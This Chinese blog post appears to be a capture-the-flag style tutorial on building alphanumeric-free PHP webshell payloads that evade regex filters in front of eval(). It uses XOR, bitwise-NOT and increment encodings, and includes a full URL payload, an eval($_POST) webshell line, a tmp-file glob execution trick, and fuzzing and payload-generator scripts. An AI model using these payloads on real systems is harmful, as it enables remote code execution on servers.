HacKerQWQ的博客空间

无字母数字构造shell小总结

Word count: 2.7kReading time: 13 min
2020/12/19 Share

本文参考p牛和其他大牛的文章,稍作补充,读起来更顺畅
反正没有人读我的博客,自娱自乐一下

问题

当遇到这样的问题的时候怎么样构造shell绕过限制

1
2
3
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

过滤了数字大小写字母,这时候就需要一点奇巧淫技

PHP5 和 PHP7中assert的区别

  1. PHP5中assert可以动态调用,PHP7中不可以,但是PHP7.0.12前实际上还是可以的
  2. PHP5,不支持($a)()这种调用方式,但是PHP7中支持,如('phpinfo')()

异或绕过

首先要知道的是两个字符串异或之后得到的还是一个字符串,所以我们可以用一些非字母数字的字符异或后变成我们想要的字符,但是说实话徒手找的话实在费劲,下面php代码生成列表

1
2
3
4
5
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>

得到下面列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
%81^%FF=>~     %82^%FF=>}       %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?

然后用这些字符构成函数,比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t

%A0^%FF=>_
%AF^%FF=>P
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T

$_=urldecode("%9E%8C%8C%9A%8D%8B")^urldecode("%FF%FF%FF%FF%FF%FF");
$__=urldecode("%A0%AF%B0%AC%AB")^urldecode("%FF%FF%FF%FF%FF");
$___=$$__;
$_($___[_]);
//assert($_POST[_])

这里之所以不直接传入$_POST[_]形成eval($_POST[_])是由于前面还存在异或的操作,而eval只会执行一次,所以得加一个assert函数
偷来的偷来的,会在结尾标注
或者其他用法

1
2
3
4
5
6
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_
%B8^%FF=>G
%BA^%FF=>E
%AB^%FF=>T

解析:
%ff%ff%ff%ff^%a0%b8%ba%ab,中一一对应进行异或,php中{}用来区别是字符串还是别的东西,防止混淆,这里用{}_GET%ff框起来就是防止被url解码了,最后执行了phpinfo()

取反绕过

p牛师傅利用的是将UTF-8编码的汉字中取出某个字符出来,然后取反
比如说字的表示如下

然后取其中的\x8c,用'和'{2}或者[2]也可以,看题目过滤了哪个的问题了,下放出p师傅的结果

shell生成:

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);//assert($_POST[_])

解析:
这里的('>'>'<')+('>'>'<')是利用了php弱比较类型的特点,’>’>’<’为真,使用+号强制类型转换就是1+1=2,就能得到我们想要的2了

下面这个脚本也可以用于生成指定字符串变成两个不含字母数字的字符串异或的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
1
2
3
4
5
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);

最简单的解法:

1
2
3
4
5
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"
$___ = $$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])

payload:

1
?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

自增绕过

先看PHP的特性
https://www.php.net/manual/zh/language.operators.increment.php

上图也说了字符变量只能递增不能递减,所以这里只有递增的绕过,所以我们只要拿到A就行了(PHP大小写不敏感并且A的ascii码小于a),递增即可拿到a-zA-Z
p牛给出了解决方法

构造过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

绕过_过滤

?><?=\{${“%a0%b8%ba%ab”}[%a0]}`?>`
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,
“%a0%b8%ba%ab”为”_GET”,通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

绕过 $过滤

前置知识:

  1. shell下可以利用.来执行任意脚本

  2. Linux文件名支持glob通配符代替

    那么就可以联想到,上传文件然后用glob+.匹配执行文件
    POST上传的文件默认存放位置是/tmp/phpxxxxxxxxxxxx是6位随机的大小写字母和数字

image-20211108093407868

  1. glob通配符

    那么就可以构造\. /???/???????[@-[]``来执行系统命令搜索我们上传的文件并执行
    文件上传的html代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Document</title>
    </head>
    <body>
    <form action="http://ip:*****/" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="提交">
    </form>
    </body>
    </html>
    可以将输出内容写到/var/www/html/abc/目录下直接查看
    可以echo "<?php eval($_POST['cmd'])"直接用蚁剑连上去

查看可用字符的脚本

1
2
3
4
5
6
7
<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) {
echo (chr($ascii));
}
}
?>

构造NAN:

1
2
C/C
//NAN

fuzz脚本

fuzz_char.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}

//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}

//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce_or.txt", "w");
$contents = "";

for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}

if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}

}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}

}

generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php fuzz_char.php") #没有将php写入环境变量需手动运行
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
print(action(input("\n[+] your function:") )+action(input("[+] your command:")))

在fuzz_char.php调整字符串的mode,再运行exp.py输入函数名和参数即可获得payload

image-20211106004905301

小trick记录

1
2
3
4
5
6
7
8
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";

$str = "?><?=include $_GET[_]?>";
*/
?cmd=include$_GET[_]?>&_=<?php system('whoami');?>

参考链接

https://mp.weixin.qq.com/s/mxwoodKUiXdbOSgPUkKaWg
https://www.leavesongs.com/penetration/webshell-without-alphanum.html?page=1#reply-list

CATALOG
  1. 1. 问题
  2. 2. PHP5 和 PHP7中assert的区别
  3. 3. 异或绕过
  4. 4. 取反绕过
  5. 5. 自增绕过
  6. 6. 绕过_过滤
  7. 7. 绕过 $过滤
  8. 8. 查看可用字符的脚本
  9. 9. fuzz脚本
  10. 10. 小trick记录
  11. 11. 参考链接